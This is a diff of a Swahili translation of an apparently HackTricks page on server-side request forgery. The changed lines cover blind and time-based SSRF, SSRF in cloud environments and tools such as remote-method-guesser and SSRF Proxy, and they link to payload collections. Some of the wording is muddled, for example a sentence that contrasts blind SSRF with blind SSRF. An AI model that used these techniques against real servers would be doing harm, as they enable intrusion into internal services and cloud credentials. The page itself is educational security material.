+Kwa **maelezo zaidi** angalia mazungumzo ambapo shambulio hili linaelezewa: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
## Blind SSRF
-Tofauti kati ya SSRF isiyo na upofu na ile isiyo na upofu ni kwamba katika ile isiyo na upofu huwezi kuona jibu la ombi la SSRF. Kwa hivyo, ni ngumu zaidi kudukua kwa sababu utaweza kudukua tu mapungufu yanayojulikana vizuri.
+Tofauti kati ya SSRF isiyo na maono na ile isiyo na maono ni kwamba katika ile isiyo na maono huwezi kuona jibu la ombi la SSRF. Kwa hivyo, ni ngumu zaidi kudukua kwa sababu utaweza kudukua tu mapungufu yanayojulikana vizuri.
### SSRF Inayotegemea Wakati
-**Kwa kuchunguza wakati** wa majibu kutoka kwa seva inaweza kuwa **inawezekana kujua ikiwa rasilimali ipo au la** (labda inachukua muda zaidi kufikia rasilimali iliyopo kuliko kufikia ile isiyopo)
+**Kwa kuchunguza wakati** wa majibu kutoka kwa seva inaweza kuwa **inawezekana kujua ikiwa rasilimali ipo au la** (labda inachukua muda zaidi kufikia rasilimali inayopo kuliko kufikia ile isiyopo)
-## Udukuzi wa Cloud SSRF
+## Utekaji wa Cloud SSRF
Ikiwa unapata udhaifu wa SSRF kwenye mashine inayofanya kazi ndani ya mazingira ya wingu unaweza kupata habari muhimu kuhusu mazingira ya wingu na hata vibali:
@@ -262,9 +334,9 @@ Ikiwa unapata udhaifu wa SSRF kwenye mashine inayofanya kazi ndani ya mazingira
[cloud-ssrf.md](cloud-ssrf.md)
{% endcontent-ref %}
-## Majukwaa Yenye Udhaifu wa SSRF
+## Majukwaa Yaliyo na Udhaifu wa SSRF
-Majukwaa kadhaa yaliyofahamika yana au yamekuwa na udhaifu wa SSRF, angalia katika:
+Majukwaa kadhaa yanayojulikana yana au yalikuwa na udhaifu wa SSRF, angalia katika:
{% content-ref url="ssrf-vulnerable-platforms.md" %}
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
@@ -293,11 +365,11 @@ Zana hii inazalisha mizigo ya Gopher kwa:
* [Machapisho kuhusu matumizi ya SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
-_remote-method-guesser_ ni skana ya udhaifu wa _Java RMI_ inayounga mkono operesheni za mashambulizi kwa udhaifu wa _Java RMI_ wa kawaida. Operesheni nyingi zinazopatikana zinaunga mkono chaguo la `--ssrf`, kuzalisha mzigo wa _SSRF_ kwa operesheni iliyoombwa. Pamoja na chaguo la `--gopher`, mizigo ya _gopher_ tayari inaweza kuzalishwa moja kwa moja.
+_remote-method-guesser_ ni skana ya udhaifu wa _Java RMI_ inayounga mkono operesheni za mashambulizi kwa udhaifu wa kawaida wa _Java RMI_. Operesheni nyingi zinazopatikana zinaunga mkono chaguo la `--ssrf`, kuzalisha mzigo wa _SSRF_ kwa operesheni iliyoombwa. Pamoja na chaguo la `--gopher`, mizigo ya _gopher_ tayari kutumika inaweza kuzalishwa moja kwa moja.
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
-SSRF Proxy ni seva ya HTTP ya manyororo iliyoundwa kuficha trafiki ya HTTP ya mteja kupitia seva za HTTP zinazoweza kudukuliwa kwa Server-Side Request Forgery (SSRF).
+SSRF Proxy ni seva ya proksi ya HTTP yenye nyuzi nyingi iliyoundwa kuficha trafiki ya HTTP ya mteja kupitia seva za HTTP zinazoweza kudukuliwa kwa Server-Side Request Forgery (SSRF).
### Kwa mazoezi
@@ -308,25 +380,4 @@ SSRF Proxy ni seva ya HTTP ya manyororo iliyoundwa kuficha trafiki ya HTTP ya mt
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
-
-
-
-Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa nahtARTE (HackTricks AWS Red Team Expert)!
-
-Njia nyingine za kusaidia HackTricks:
-
-* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
-* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
-* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
-* **Jiunge na** π¬ [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** π¦ [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-
-
-
-\
-Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia workflows** kwa urahisi zinazotumia zana za **jamii ya juu zaidi** duniani.\
-Pata Ufikiaji Leo:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)